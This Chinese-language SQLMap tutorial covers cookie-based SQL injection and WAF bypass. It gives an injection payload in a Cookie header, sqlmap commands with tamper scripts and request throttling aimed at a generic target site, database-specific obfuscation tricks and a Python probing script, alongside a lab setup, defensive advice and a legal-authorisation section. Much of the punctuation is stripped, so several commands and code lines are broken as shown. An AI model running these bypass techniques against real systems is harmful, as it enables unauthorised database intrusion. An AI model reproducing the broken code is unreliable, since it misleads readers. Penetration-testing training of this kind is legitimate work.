SQLMap高级Cookie注入与WAF绕过实战手册1. Cookie注入的核心原理与检测机制HTTP Cookie作为Web应用维持会话状态的核心组件常被开发者用于存储用户身份凭证。但鲜为人知的是当服务端未对Cookie值进行严格过滤时攻击者可通过篡改Cookie参数实施SQL注入。与传统GET/POST注入相比这种攻击具有以下特征隐蔽性强Cookie数据不会出现在URL或请求体中常规安全设备往往忽略检测绕过基础防护多数WAF默认仅监控GET/POST参数需要特殊配置才会检查Cookie持久性高恶意Cookie可长期保存在受害者浏览器中实现持续攻击SQLMap通过--level参数控制检测范围其层级机制如下表所示检测等级覆盖范围Level 1仅测试GET/POST参数默认Level 2增加Cookie检测Level 3扩展至User-Agent和Referer头部Level 4包含Host头部检测Level 5全头部检测JSON/XML参数解析典型漏洞场景示例GET /dashboard HTTP/1.1 Host: vuln-site.com Cookie: user_id1 AND 1CONVERT(int,(SELECT table_name FROM information_schema.tables));--2. 实战环境搭建与基础检测2.1 靶场环境配置推荐使用DVWA或sqli-labs模拟存在Cookie注入的漏洞环境。以sqli-labs Less-20为例启动靶场服务docker run -d -p 8080:80 acgpiano/sqli-labs访问http://localhost:8080/Less-20/并登录使用浏览器开发者工具捕获Cookie值2.2 基础检测命令sqlmap -u http://localhost:8080/Less-20/ \ --cookieunameadmin* \ --level2 \ --batch关键参数解析*标记注入点位置--batch自动选择默认选项--level2启用Cookie检测注意实际测试时应先使用--risk1低风险模式避免破坏数据3. 高级绕过技术与WAF对抗3.1 常见WAF拦截特征现代WAF通常通过以下机制防御注入攻击关键词黑名单SELECT, UNION, CONCAT等特殊字符过滤单引号、注释符等请求频率监控异常参数长度检测3.2 SQLMap绕过方案组合3.2.1 Tamper脚本矩阵脚本名称功能描述适用场景space2comment空格转/**/过滤空格的WAFcharencodeURL编码转换字符检查严格的系统randomcase随机大小写大小写敏感检测equaltolike 转 LIKE等号过滤modsecurityzeroversioned去除版本信息ModSecurity规则触发实战命令示例sqlmap -u http://target.com/admin \ --cookiesessionid1* \ --tamperspace2comment,randomcase \ --level3 \ --delay23.2.2 请求流量控制参数--delay1 # 每个请求间隔1秒 --timeout15 # 连接超时设置为15秒 --retries3 # 失败请求重试次数 --threads2 # 并发线程数控制3.3 数据库特性利用技巧不同数据库的绕过技巧MySQL:/*!50000SELECT*/ 1 # 版本特定语法 SET varCONCAT(CHAR(83),CHAR(69),CHAR(76)); # 字符编码拼接MSSQL:DECLARE x NVARCHAR(100)CHAR(83)CHAR(69); # 变量声明方式 SELECT * FROM OPENQUERY(LOCALSERVER,SELECT 1) # 分布式查询4. 企业级防护方案与检测报告4.1 防御措施建议输入验证// PHP示例Cookie值过滤 $clean_id preg_replace(/[^0-9]/, , $_COOKIE[userid]);最小权限原则CREATE USER webuserlocalhost IDENTIFIED BY strongpass; GRANT SELECT ON appdb.* TO webuserlocalhost;WAF规则配置# ModSecurity规则示例 SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES detectSQLi \ id:10001,phase:2,deny,msg:SQL Injection Attempt4.2 渗透测试报告要点漏洞定位截图包含HTTP请求/响应风险等级评估CVSS评分具体复现步骤修复时间线建议长期监控方案5. 自动化检测脚本开发以下Python脚本可辅助识别基础Cookie注入漏洞import requests from urllib.parse import quote def check_cookie_injection(url, cookie_name): test_payloads [ , \, 1 AND 11, 1 AND 12 ] for payload in test_payloads: cookies {cookie_name: payload} try: r requests.get(url, cookiescookies) if error in r.text.lower() or syntax in r.text.lower(): return fVulnerable to cookie injection with payload: {payload} except Exception as e: print(fError testing {payload}: {str(e)}) return No basic cookie injection detected # 使用示例 print(check_cookie_injection(http://test.com/profile, user_id))6. 法律合规与授权测试进行安全测试前必须获取书面授权明确约定测试时间窗口目标系统范围允许使用的技术手段数据访问限制应急响应流程典型授权书应包含以下条款测试方承诺仅在约定范围内使用SQLMap等工具对获取的敏感数据严格保密测试完成后立即销毁所有临时数据副本。